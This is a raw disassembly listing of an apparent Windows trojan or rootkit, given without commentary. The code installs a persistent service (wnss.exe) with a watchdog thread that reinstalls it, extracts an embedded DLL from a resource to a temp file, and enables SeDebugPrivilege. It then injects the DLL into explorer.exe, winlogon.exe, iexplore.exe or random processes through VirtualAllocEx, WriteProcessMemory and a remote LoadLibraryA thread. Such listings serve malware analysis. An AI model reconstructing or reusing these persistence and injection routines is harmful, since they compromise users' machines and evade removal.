push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call sub_4053F7
add esp, 10h
mov esp, ebp
pop ebp
retn
sub_4058BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40592F proc near ; CODE XREF: DMN0:00405B4Dp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push 14h
push 40h
call dword_411CE0
mov [ebp+var_10], eax
push 1
push [ebp+var_10]
call dword_411E38
push 0
push 0
push 1
push [ebp+var_10]
call dword_411E3C
mov [ebp+var_C], 0Ch
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov [ebp+var_4], 1
push offset a8fc4ddd4C51e11 ; "{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}"
push 0
push 0
lea eax, [ebp+var_C]
push eax
call dword_411D40
mov ebx, eax
test ebx, ebx
jz short loc_405999
push offset aEventCreated_ ; "EVENT CREATED.\n"
call sub_407320
pop ecx
jmp short loc_4059AC
; ---------------------------------------------------------------------------
loc_405999: ; CODE XREF: sub_40592F+5Bj
call dword_411CE8
push eax
push offset aEventCreatonEr ; "EVENT CREATON ERROR: %i\n"
call sub_407320
pop ecx
pop ecx
loc_4059AC: ; CODE XREF: sub_40592F+68j
push 0
push 0
push offset sub_405CA2
call sub_4079D0
add esp, 0Ch
push eax
call dword_411CF8
push 0
push 0
push offset sub_406736
call sub_4079D0
add esp, 0Ch
mov esi, eax
loc_4059D7: ; CODE XREF: sub_40592F:loc_405A26j
test ebx, ebx
jz short loc_405A11
push offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n"
call sub_407320
pop ecx
mov [ebp+var_18], esi
mov [ebp+var_14], ebx
push 0FFFFFFFFh
push 0
lea eax, [ebp+var_18]
push eax
push 2
call dword_411D48
mov edi, eax
test edi, edi
jz short loc_405A07
cmp edi, 1
jnz short loc_405A26
loc_405A07: ; CODE XREF: sub_40592F+D1j
push 1
call sub_407AA0
pop ecx
jmp short loc_405A26
; ---------------------------------------------------------------------------
loc_405A11: ; CODE XREF: sub_40592F+AAj
push 0FFFFFFFFh
push esi
call dword_411D34
test eax, eax
jnz short loc_405A26
push 1
call sub_407AA0
pop ecx
loc_405A26: ; CODE XREF: sub_40592F+D6j
; sub_40592F+E0j ...
jmp short loc_4059D7
sub_40592F endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_405A2F: ; DATA XREF: DMN0:00405AA5o
; DMN1:00447DC6o
mov eax, [esp+4]
cmp eax, 3
jz short loc_405A44
cmp eax, 4
jz short loc_405A61
cmp eax, 5
jz short loc_405A74
jmp short locret_405A97
; ---------------------------------------------------------------------------
loc_405A44: ; CODE XREF: DMN0:00405A36j
mov dword_41293C, 4
push offset dword_412938
push dword_412954
call dword_411E6C
jmp short locret_405A97
; ---------------------------------------------------------------------------
loc_405A61: ; CODE XREF: DMN0:00405A3Bj
push offset dword_412938
push dword_412954
call dword_411E6C
jmp short locret_405A97
; ---------------------------------------------------------------------------
loc_405A74: ; CODE XREF: DMN0:00405A40j
mov dword_41293C, 1
push offset dword_412938
push dword_412954
call dword_411E6C
push 1
call sub_407AA0
pop ecx
locret_405A97: ; CODE XREF: DMN0:00405A42j
; DMN0:00405A5Fj ...
retn 4
; ---------------------------------------------------------------------------
loc_405A9A: ; DATA XREF: sub_405B88+18o
; sub_447EA9+18o
push offset aServicectrldis ; "ServiceCtrlDispatcher()\n"
call sub_407320
pop ecx
push offset loc_405A2F
push off_412958
call dword_411E70
mov dword_412954, eax
cmp dword_412954, 0
jz loc_405B7A
push 1
push offset dword_411044
call dword_411D04
push 1Ch
push 0
push offset dword_412938
call sub_407690
add esp, 0Ch
mov dword_412938, 110h
mov dword_41293C, 2
and dword_412940, 0
mov dword_412950, 9C4h
push offset aSetservicestat ; "SetServiceStatus(): start pending\n"
call sub_407320
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C
mov dword_41293C, 4
push offset aSetservicest_0 ; "SetServiceStatus(): running\n"
call sub_407320
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C
call sub_40592F
; ---------------------------------------------------------------------------
mov dword_41293C, 1
push offset aSetservicest_1 ; "SetServiceStatus(): stopped\n"
call sub_407320
pop ecx
push offset dword_412938
push dword_412954
call dword_411E6C
jmp short locret_405B85
; ---------------------------------------------------------------------------
loc_405B7A: ; CODE XREF: DMN0:00405AC2j
push offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("...
call sub_407320
pop ecx
locret_405B85: ; CODE XREF: DMN0:00405B78j
retn 8
; =============== S U B R O U T I N E =======================================
sub_405B88 proc near ; CODE XREF: DMN0:00405BCEp
; sub_4067B0+532p
push ebx
call sub_40410E
test eax, eax
jz short loc_405B96
xor eax, eax
jmp short loc_405BCC
; ---------------------------------------------------------------------------
loc_405B96: ; CODE XREF: sub_405B88+8j
mov eax, off_412958
mov dword_41295C, eax
mov dword_412960, offset loc_405A9A
and dword_412964, 0
and dword_412968, 0
push offset dword_41295C
call dword_411E74
mov ebx, eax
call sub_404162
mov eax, ebx
loc_405BCC: ; CODE XREF: sub_405B88+Cj
pop ebx
retn
sub_405B88 endp
; ---------------------------------------------------------------------------
call sub_405B88
call sub_407A60
retn
; ---------------------------------------------------------------------------
call sub_404F15
mov dword_411040, eax
call sub_407A60
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405BE9 proc near ; CODE XREF: sub_405CA2+64p
; sub_4067B0+1F7p
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_844 = byte ptr -844h
var_44 = dword ptr -44h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 854h
push 44h
push 0
lea eax, [ebp+var_44]
push eax
call sub_407690
add esp, 0Ch
mov [ebp+var_44], 44h
push offset asc_40EDE8 ; "\""
lea eax, [ebp+var_844]
push eax
call sub_407730
pop ecx
pop ecx
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
lea eax, [ebp+var_844]
push eax
call sub_407750
pop ecx
pop ecx
push offset asc_40E5AE ; "\" "
lea eax, [ebp+var_844]
push eax
call sub_407750
pop ecx
pop ecx
cmp [ebp+arg_0], 0
jz short loc_405C59
push [ebp+arg_0]
lea eax, [ebp+var_844]
push eax
call sub_407750
pop ecx
pop ecx
loc_405C59: ; CODE XREF: sub_405BE9+5Dj
lea eax, [ebp+var_854]
push eax
lea eax, [ebp+var_44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_844]
push eax
push 0
call dword_411D10
test eax, eax
jz short loc_405C9E
push [ebp+var_850]
call dword_411CF8
push [ebp+var_854]
call dword_411CF8
xor eax, eax
inc eax
loc_405C9E: ; CODE XREF: sub_405BE9+98j
mov esp, ebp
pop ebp
retn
sub_405BE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_405CA2 proc near ; DATA XREF: sub_40592F+81o
; sub_447C50+81o
push ebx
push esi
push offset aServicefixerth ; "ServiceFixerThread started.\n"
call nullsub_2
pop ecx
loc_405CAF: ; CODE XREF: sub_405CA2:loc_405D37j
xor ebx, ebx
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
call dword_411D4C
cmp eax, 0FFFFFFFFh
jz short loc_405D2C
call sub_404D77
test eax, eax
jz short loc_405CEB
call sub_405170
test eax, eax
jnz short loc_405CDA
call sub_405246
loc_405CDA: ; CODE XREF: sub_405CA2+31j
call sub_404EC7
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_405CF8
xor ebx, ebx
inc ebx
jmp short loc_405CF8
; ---------------------------------------------------------------------------
loc_405CEB: ; CODE XREF: sub_405CA2+28j
call sub_404FE9
cmp eax, 0FFFFFFFFh
jnz short loc_405CF8
xor ebx, ebx
inc ebx
loc_405CF8: ; CODE XREF: sub_405CA2+42j
; sub_405CA2+47j ...
test ebx, ebx
jz short loc_405D1F
call sub_404162
push offset asc_40E58E ; "**"
call sub_405BE9
pop ecx
test eax, eax
jz short loc_405D18
push 0
call sub_407AA0
pop ecx
loc_405D18: ; CODE XREF: sub_405CA2+6Cj
call sub_40410E
jmp short loc_405D37
; ---------------------------------------------------------------------------
loc_405D1F: ; CODE XREF: sub_405CA2+58j
push 1F4h
call dword_411D00
jmp short loc_405D37
; ---------------------------------------------------------------------------
loc_405D2C: ; CODE XREF: sub_405CA2+1Fj
push 2710h
call dword_411D00
loc_405D37: ; CODE XREF: sub_405CA2+7Bj
; sub_405CA2+88j
jmp loc_405CAF
sub_405CA2 endp
; ---------------------------------------------------------------------------
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405D3F proc near ; DATA XREF: sub_405DB5+76o
; DMN1:0044814Co
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
push esi
mov eax, [ebp+arg_0]
mov esi, eax
push dword_41296C
call dword_411D50
loc_405D56: ; CODE XREF: sub_405D3F+4Bj
mov [ebp+var_1], 0
push 1
lea eax, [ebp+var_1]
push eax
push esi
call sub_4016DC
add esp, 0Ch
mov ebx, eax
test ebx, ebx
jle short loc_405D8C
cmp [ebp+var_1], 2Ah
jnz short loc_405D8C
push 1
lea eax, [ebp+var_1]
push eax
push esi
call sub_401787
add esp, 0Ch
mov ebx, eax
test ebx, ebx
jle short loc_405D8C
jmp short loc_405D56
; ---------------------------------------------------------------------------
loc_405D8C: ; CODE XREF: sub_405D3F+2Ej
; sub_405D3F+34j ...
push esi
call sub_4014C2
pop ecx
push offset aDlltestthreadP ; "DLLTestThread: pulsing...\n"
call nullsub_2
pop ecx
push dword_41296C
call dword_411D44
call sub_407A60
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_405D3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405DB5 proc near ; DATA XREF: sub_4064E1+11o
; sub_448802+11o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
call sub_401359
mov dword_41104C, eax
push offset aDlltestlistent ; "DLLTestListenThread: binding...\n"
call nullsub_2
pop ecx
push 0BB8h
push 100007Fh
push dword_41104C
call sub_4015B7
add esp, 0Ch
test eax, eax
jz short loc_405E55
push offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n"
call nullsub_2
pop ecx
push dword_41104C
call sub_401607
pop ecx
test eax, eax
jz short loc_405E55
push offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n"
call nullsub_2
pop ecx
push dword_41104C
call sub_401621
pop ecx
mov [ebp+var_4], eax
test eax, eax
jz short loc_405E55
mov eax, [ebp+var_4]
push eax
push 0
push offset sub_405D3F
call sub_4079D0
add esp, 0Ch
mov [ebp+var_8], eax
push eax
call dword_411CF8
push dword_41104C
call sub_4014C2
pop ecx
and dword_41104C, 0
loc_405E55: ; CODE XREF: sub_405DB5+35j
; sub_405DB5+50j ...
cmp dword_41104C, 0
jz short loc_405E6A
push dword_41104C
call sub_4014C2
pop ecx
loc_405E6A: ; CODE XREF: sub_405DB5+A7j
push offset aDlltestliste_2 ; "DLLTestListenThread: done...\n"
call nullsub_2
pop ecx
call sub_407A60
mov esp, ebp
pop ebp
retn
sub_405DB5 endp
; =============== S U B R O U T I N E =======================================
sub_405E7E proc near ; CODE XREF: sub_40643C+14p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [ebx]
jmp short loc_405E90
; ---------------------------------------------------------------------------
loc_405E88: ; CODE XREF: sub_405E7E+14j
call dword_411CC4
mov esi, eax
loc_405E90: ; CODE XREF: sub_405E7E+8j
test esi, esi
jz short loc_405E88
mov eax, esi
mov edx, 41C64E6Dh
mul edx
lea esi, [eax+3039h]
mov [ebx], esi
mov eax, esi
shr eax, 10h
and eax, 7FFFh
pop esi
pop ebx
retn
sub_405E7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405EB2 proc near ; CODE XREF: sub_405FBD+9Ep
; sub_405FBD+109p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp dword_411054, 0
jz short loc_405EDA
push dword_411054
call dword_411CF8
and dword_411054, 0
loc_405EDA: ; CODE XREF: sub_405EB2+13j
push 0Ah
push offset a8001 ; "#8001"
push 0
call dword_411D54
mov esi, eax
test eax, eax
jz loc_405FB6
push esi
push 0
call dword_411D58
mov [ebp+var_4], eax
push [ebp+var_4]
push offset aResourceHereSi ; "resource here, size: %i\n"
call nullsub_2
pop ecx
pop ecx
push esi
push 0
call dword_411D5C
mov [ebp+var_8], eax
test eax, eax
jz loc_405FB6
push [ebp+var_8]
call dword_411D60
mov [ebp+var_C], eax
test eax, eax
jz loc_405FB6
push 80h
push ebx
call dword_411D28
push offset aWb ; "wb+"
push ebx
call sub_4073C0
pop ecx
pop ecx
mov edi, eax
test edi, edi
jnz short loc_405F66
push ebx
push offset aFileSNotCreate ; "file <%s> NOT created\n"
call nullsub_2
pop ecx
pop ecx
xor eax, eax
jmp short loc_405FB6
; ---------------------------------------------------------------------------
loc_405F66: ; CODE XREF: sub_405EB2+A1j
push ebx
push offset aFileSCreated ; "file <%s> created\n"
call nullsub_2
pop ecx
pop ecx
push edi
push 1
mov eax, [ebp+var_4]
push eax
push [ebp+var_C]
call sub_407820
add esp, 10h
mov [ebp+var_10], eax
push edi
call sub_407620
pop ecx
push [ebp+var_10]
push ebx
push offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n"
call nullsub_2
add esp, 0Ch
push 7
push ebx
call dword_411D28
cmp [ebp+var_10], 1
jz short loc_405FB3
xor eax, eax
jmp short loc_405FB6
; ---------------------------------------------------------------------------
loc_405FB3: ; CODE XREF: sub_405EB2+FBj
xor eax, eax
inc eax
loc_405FB6: ; CODE XREF: sub_405EB2+3Bj
; sub_405EB2+6Aj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_405EB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405FBD proc near ; CODE XREF: sub_406544:loc_406610p
var_1004 = dword ptr -1004h
var_1000 = byte ptr -1000h
push ebp
mov ebp, esp
mov eax, 1004h
call sub_4077F0
cmp dword_411050, 0
jz short loc_406013
push offset aR ; "r"
push offset dword_412970
call sub_4073C0
pop ecx
pop ecx
mov [ebp+var_1004], eax
test eax, eax
jz short loc_406013
push offset dword_412970
push offset aOldDllS ; "old DLL: <%s>\n"
call nullsub_2
pop ecx
pop ecx
push [ebp+var_1004]
call sub_407620
pop ecx
xor eax, eax
inc eax
jmp loc_4060FD
; ---------------------------------------------------------------------------
loc_406013: ; CODE XREF: sub_405FBD+14j
; sub_405FBD+2Fj
push offset dword_412970
push 0FFFh
call dword_411D1C
push offset aWnss_ ; "wnss_"
push offset dword_412970
call sub_407750
pop ecx
pop ecx
push offset a000_tmp ; "000.tmp"
push offset dword_412970
call sub_407750
pop ecx
pop ecx
push offset dword_412970
push offset aCheckingDllS ; "checking DLL: <%s>\n"
call nullsub_2
pop ecx
pop ecx
push offset dword_412970
call sub_405EB2
pop ecx
test eax, eax
jz short loc_406085
push offset dword_412970
push offset aDllFoundS ; " DLL found: <%s>\n"
call nullsub_2
pop ecx
pop ecx
mov dword_411050, 1
xor eax, eax
inc eax
jmp short loc_4060FD
; ---------------------------------------------------------------------------
loc_406085: ; CODE XREF: sub_405FBD+A6j
lea eax, [ebp+var_1000]
push eax
push 0FFFh
call dword_411D1C
push offset dword_412970
push 0
push offset aWnss_ ; "wnss_"
lea eax, [ebp+var_1000]
push eax
call dword_411D20
push offset dword_412970
push offset aTryingDllS ; "trying DLL: <%s>\n"
call nullsub_2
pop ecx
pop ecx
push offset dword_412970
call sub_405EB2
pop ecx
test eax, eax
jz short loc_4060F0
push offset dword_412970
push offset aDllOkS ; "DLL ok: <%s>\n"
call nullsub_2
pop ecx
pop ecx
mov dword_411050, 1
xor eax, eax
inc eax
jmp short loc_4060FD
; ---------------------------------------------------------------------------
loc_4060F0: ; CODE XREF: sub_405FBD+111j
push offset aDllNotExtracte ; "DLL not extracted.\n"
call nullsub_2
pop ecx
xor eax, eax
loc_4060FD: ; CODE XREF: sub_405FBD+51j
; sub_405FBD+C6j ...
mov esp, ebp
pop ebp
retn
sub_405FBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406101 proc near ; CODE XREF: sub_4062A5+6p
; sub_40636D+12p ...
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
lea eax, [ebp+var_1C]
push eax
push offset aSedebugprivile ; "SeDebugPrivilege"
push 0
call dword_411E78
test eax, eax
jz short loc_406177
call dword_411D64
lea edx, [ebp+var_14]
push edx
push 28h
push eax
call dword_411E7C
test eax, eax
jz short loc_406177
mov [ebp+var_10], 1
mov eax, [ebp+var_1C]
mov edx, [ebp+var_18]
mov [ebp+var_C], eax
mov [ebp+var_8], edx
mov [ebp+var_4], 2
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
push 10h
lea eax, [ebp+var_10]
push eax
push 0
push [ebp+var_14]
call dword_411E80
call dword_411CE8
test eax, eax
jz short loc_406174
xor eax, eax
jmp short loc_406177
; ---------------------------------------------------------------------------
loc_406174: ; CODE XREF: sub_406101+6Dj
xor eax, eax
inc eax
loc_406177: ; CODE XREF: sub_406101+19j
; sub_406101+30j ...
mov esp, ebp
pop ebp
retn
sub_406101 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40617B proc near ; CODE XREF: sub_4062A5+34p
var_1008 = byte ptr -1008h
var_1004 = byte ptr -1004h
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1008h
call sub_4077F0
push ebx
push esi
push edi
push 40h
push 1000h
push 1000h
push 0
push [ebp+arg_0]
call dword_411D68
mov esi, eax
test eax, eax
jz loc_40629E
push offset aVirtualallocex ; "VirtualAllocEx() ok\n"
call nullsub_2
pop ecx
lea ebx, [ebp+var_1000]
mov byte ptr [ebx], 68h
inc ebx
mov eax, esi
add eax, 50h
mov [ebx], eax
add ebx, 4
mov word ptr [ebx], 15FFh
add ebx, 2
mov eax, esi
add eax, 40h
mov [ebx], eax
add ebx, 4
mov byte ptr [ebx], 50h
inc ebx
mov word ptr [ebx], 15FFh
add ebx, 2
mov eax, esi
add eax, 44h
mov [ebx], eax
push offset aKernel32_dll ; "kernel32.dll"
call dword_411D6C
mov edi, eax
lea ebx, [ebp+var_1000]
add ebx, 40h
push offset aLoadlibrarya ; "LoadLibraryA"
push edi
call dword_411D70
mov [ebx], eax
add ebx, 4
push offset aExitthread ; "ExitThread"
push edi
call dword_411D70
mov [ebx], eax
add ebx, 4
push offset aGetlasterror ; "GetLastError"
push edi
call dword_411D70
mov [ebx], eax
lea ebx, [ebp+var_1000]
add ebx, 50h
push [ebp+arg_4]
push ebx
call sub_407730
pop ecx
pop ecx
lea eax, [ebp+var_1004]
push eax
push 1000h
lea eax, [ebp+var_1000]
push eax
push esi
push [ebp+arg_0]
call dword_411D74
test eax, eax
jz short loc_40629E
push offset aWriteprocessme ; "WriteProcessMemory() ok\n"
call nullsub_2
pop ecx
push [ebp+arg_4]
push offset aS ; "<%s>\n"
call nullsub_2
pop ecx
pop ecx
lea eax, [ebp+var_1008]
push eax
push 0
push 0
push esi
push 0
push 0
push [ebp+arg_0]
call dword_411D78
loc_40629E: ; CODE XREF: sub_40617B+2Bj
; sub_40617B+EEj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40617B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4062A5 proc near ; CODE XREF: sub_40636D+6Fp
; sub_40643C+5Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push eax
push ebx
push esi
call sub_406101
push [ebp+arg_0]
push 0
push 1F0FFFh
call dword_411D7C
mov ebx, eax
push offset aProcessOpened_ ; "process opened.\n"
call nullsub_2
pop ecx
test ebx, ebx
jz loc_406365
push [ebp+arg_4]
push ebx
call sub_40617B
pop ecx
pop ecx
mov esi, eax
test esi, esi
jz short loc_40635E
push esi
push offset aThreadInjected ; "thread injected (%i).\n"
call nullsub_2
pop ecx
pop ecx
push 0FFFFFFFFh
push esi
call dword_411D34
lea eax, [ebp+var_4]
push eax
push esi
call dword_411D80
push [ebp+var_4]
push offset aThreadComplete ; "thread complete (%i).\n"
call nullsub_2
pop ecx
pop ecx
push esi
call dword_411CF8
push ebx
call dword_411CF8
cmp [ebp+var_4], 20h
jnb short loc_40632E
xor eax, eax
jmp short loc_406367
; ---------------------------------------------------------------------------
loc_40632E: ; CODE XREF: sub_4062A5+83j
push [ebp+arg_4]
push offset aDllInjected ; "DLL injected!\n"
call nullsub_2
pop ecx
pop ecx
cmp dword_411054, 0
jz short loc_406359
push dword_411054
call dword_411CF8
and dword_411054, 0
loc_406359: ; CODE XREF: sub_4062A5+9Fj
xor eax, eax
inc eax
jmp short loc_406367
; ---------------------------------------------------------------------------
loc_40635E: ; CODE XREF: sub_4062A5+3Fj
push ebx
call dword_411CF8
loc_406365: ; CODE XREF: sub_4062A5+2Aj
xor eax, eax
loc_406367: ; CODE XREF: sub_4062A5+87j
; sub_4062A5+B7j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4062A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40636D proc near ; CODE XREF: sub_406544+E6p
var_128 = dword ptr -128h
var_120 = dword ptr -120h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 128h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
call sub_406101
push 0
push 2
call sub_406D5C
mov edi, eax
test eax, eax
jz loc_406435
mov [ebp+var_128], 128h
lea eax, [ebp+var_128]
push eax
push edi
call sub_406D62
loc_4063AE: ; CODE XREF: sub_40636D+BDj
lea eax, [ebp+var_104]
push eax
push ebx
call dword_411D38
test eax, eax
jnz short loc_40641B
push esi
lea eax, [ebp+var_104]
push eax
push offset aTryingSWithS ; "trying <%s> with <%s>\n"
call nullsub_2
add esp, 0Ch
push esi
push [ebp+var_120]
call sub_4062A5
pop ecx
pop ecx
test eax, eax
jz short loc_406406
lea eax, [ebp+var_104]
push eax
push offset aS ; "<%s>\n"
call nullsub_2
pop ecx
pop ecx
push edi
call dword_411CF8
xor eax, eax
inc eax
jmp short loc_406435
; ---------------------------------------------------------------------------
loc_406406: ; CODE XREF: sub_40636D+78j
push esi
lea eax, [ebp+var_104]
push eax
push offset aTryingSWithSFa ; "trying <%s> with <%s> failed\n"
call nullsub_2
add esp, 0Ch
loc_40641B: ; CODE XREF: sub_40636D+51j
lea eax, [ebp+var_128]
push eax
push edi
call sub_406D68
test eax, eax
jnz short loc_4063AE
push edi
call dword_411CF8
xor eax, eax
loc_406435: ; CODE XREF: sub_40636D+24j
; sub_40636D+97j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40636D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40643C proc near ; CODE XREF: sub_406544+FBp
var_128 = dword ptr -128h
var_120 = dword ptr -120h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 128h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push offset dword_411058
call sub_405E7E
pop ecx
mov ecx, 100h
cdq
idiv ecx
lea esi, [edx+1]
call sub_406101
jmp short loc_4064D4
; ---------------------------------------------------------------------------
loc_406468: ; CODE XREF: sub_40643C+9Aj
push 0
push 2
call sub_406D5C
mov edi, eax
test eax, eax
jz short loc_4064DA
mov [ebp+var_128], 128h
lea eax, [ebp+var_128]
push eax
push edi
call sub_406D62
loc_40648E: ; CODE XREF: sub_40643C+8Fj
dec esi
test esi, esi
jnz short loc_4064BC
push ebx
push [ebp+var_120]
call sub_4062A5
pop ecx
pop ecx
test eax, eax
jz short loc_4064B1
push edi
call dword_411CF8
xor eax, eax
inc eax
jmp short loc_4064DA
; ---------------------------------------------------------------------------
loc_4064B1: ; CODE XREF: sub_40643C+67j
push edi
call dword_411CF8
xor eax, eax
jmp short loc_4064DA
; ---------------------------------------------------------------------------
loc_4064BC: ; CODE XREF: sub_40643C+55j
lea eax, [ebp+var_128]
push eax
push edi
call sub_406D68
test eax, eax
jnz short loc_40648E
push edi
call dword_411CF8
loc_4064D4: ; CODE XREF: sub_40643C+2Aj
test esi, esi
jnz short loc_406468
xor eax, eax
loc_4064DA: ; CODE XREF: sub_40643C+39j
; sub_40643C+73j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40643C endp
; =============== S U B R O U T I N E =======================================
sub_4064E1 proc near ; CODE XREF: sub_406544+45p
; sub_406544+115p
push ebx
push dword_41296C
call dword_411D50
push 0
push 0
push offset sub_405DB5
call sub_4079D0
add esp, 0Ch
mov ebx, eax
push 2710h
mov eax, ebx
push eax
call dword_411D34
test eax, eax
jz short loc_406536
push dword_41104C
call sub_4014C2
pop ecx
mov dword_41104C, 1
mov eax, ebx
push eax
call dword_411CF8
xor eax, eax
jmp short loc_406542
; ---------------------------------------------------------------------------
loc_406536: ; CODE XREF: sub_4064E1+30j
mov eax, ebx
push eax
call dword_411CF8
xor eax, eax
inc eax
loc_406542: ; CODE XREF: sub_4064E1+53j
pop ebx
retn
sub_4064E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406544 proc near ; DATA XREF: sub_406736+18o
; DMN1:00448A6Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
call sub_4036F6
test eax, eax
jnz loc_40672A
call sub_403658
test eax, eax
jnz loc_40672A
call sub_406101
push dword_41296C
call dword_411D50
push 3E8h
push dword_41296C
call dword_411D34
call sub_4064E1
test eax, eax
jz short loc_4065C2
push 3E8h
call dword_411D00
push offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies> e"...
call nullsub_2
pop ecx
push 0FFFFFFFFh
push dword_41296C
call dword_411D34
push dword_41296C
call dword_411D50
loc_4065C2: ; CODE XREF: sub_406544+4Cj
and [ebp+var_C], 0
mov [ebp+var_8], 4
mov esi, [ebp+var_C]
loc_4065D0: ; CODE XREF: sub_406544+1BAj
push dword_41296C
call dword_411D50
cmp esi, 2
ja short loc_40660C
test esi, esi
jz short loc_4065F1
cmp esi, 1
jz short loc_4065FA
cmp esi, 2
jz short loc_406603
jmp short loc_406610
; ---------------------------------------------------------------------------
loc_4065F1: ; CODE XREF: sub_406544+9Fj
mov [ebp+var_4], offset aIexplore_exe ; "iexplore.exe"
jmp short loc_406610
; ---------------------------------------------------------------------------
loc_4065FA: ; CODE XREF: sub_406544+A4j
mov [ebp+var_4], offset aExplorer_exe ; "explorer.exe"
jmp short loc_406610
; ---------------------------------------------------------------------------
loc_406603: ; CODE XREF: sub_406544+A9j
mov [ebp+var_4], offset aWinlogon_exe ; "winlogon.exe"
jmp short loc_406610
; ---------------------------------------------------------------------------
loc_40660C: ; CODE XREF: sub_406544+9Bj
and [ebp+var_4], 0
loc_406610: ; CODE XREF: sub_406544+ABj
; sub_406544+B4j ...
call sub_405FBD
test eax, eax
jz loc_406704
cmp esi, 2
ja short loc_406635
push offset dword_412970
push [ebp+var_4]
call sub_40636D
pop ecx
pop ecx
mov ebx, eax
jmp short loc_406650
; ---------------------------------------------------------------------------
loc_406635: ; CODE XREF: sub_406544+DCj
mov edi, 64h
loc_40663A: ; CODE XREF: sub_406544+10Aj
push offset dword_412970
call sub_40643C
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_406650
dec edi
test edi, edi
jg short loc_40663A
loc_406650: ; CODE XREF: sub_406544+EFj
; sub_406544+105j
inc esi
test ebx, ebx
jz loc_4066D7
call sub_4064E1
test eax, eax
jz short loc_4066D7
push 3E8h
call dword_411D00
push offset aWaitingForDllD ; "waiting for <DLL dies> event...\n"
call nullsub_2
pop ecx
jmp short loc_406687
; ---------------------------------------------------------------------------
loc_40667A: ; CODE XREF: sub_406544+159j
call sub_403658
test eax, eax
jnz loc_40672A
loc_406687: ; CODE XREF: sub_406544+134j
push 2BCh
push dword_41296C
call dword_411D34
cmp eax, 102h
jz short loc_40667A
push dword_41296C
call dword_411D50
mov esi, [ebp+var_C]
call sub_403658
test eax, eax
jz short loc_4066CC
push offset aDying ; "dying\n"
call nullsub_2
pop ecx
push 1
call sub_407AA0
pop ecx
jmp short loc_40672A
; ---------------------------------------------------------------------------
loc_4066CC: ; CODE XREF: sub_406544+171j
push offset aDllStopped___ ; "DLL stopped...\n"
call nullsub_2
pop ecx
loc_4066D7: ; CODE XREF: sub_406544+10Fj
; sub_406544+11Cj
call sub_4036F6
test eax, eax
jnz short loc_40672A
cmp dword_411050, 0
jz short loc_4066FB
push offset dword_412970
call sub_407B50
pop ecx
and dword_411050, 0
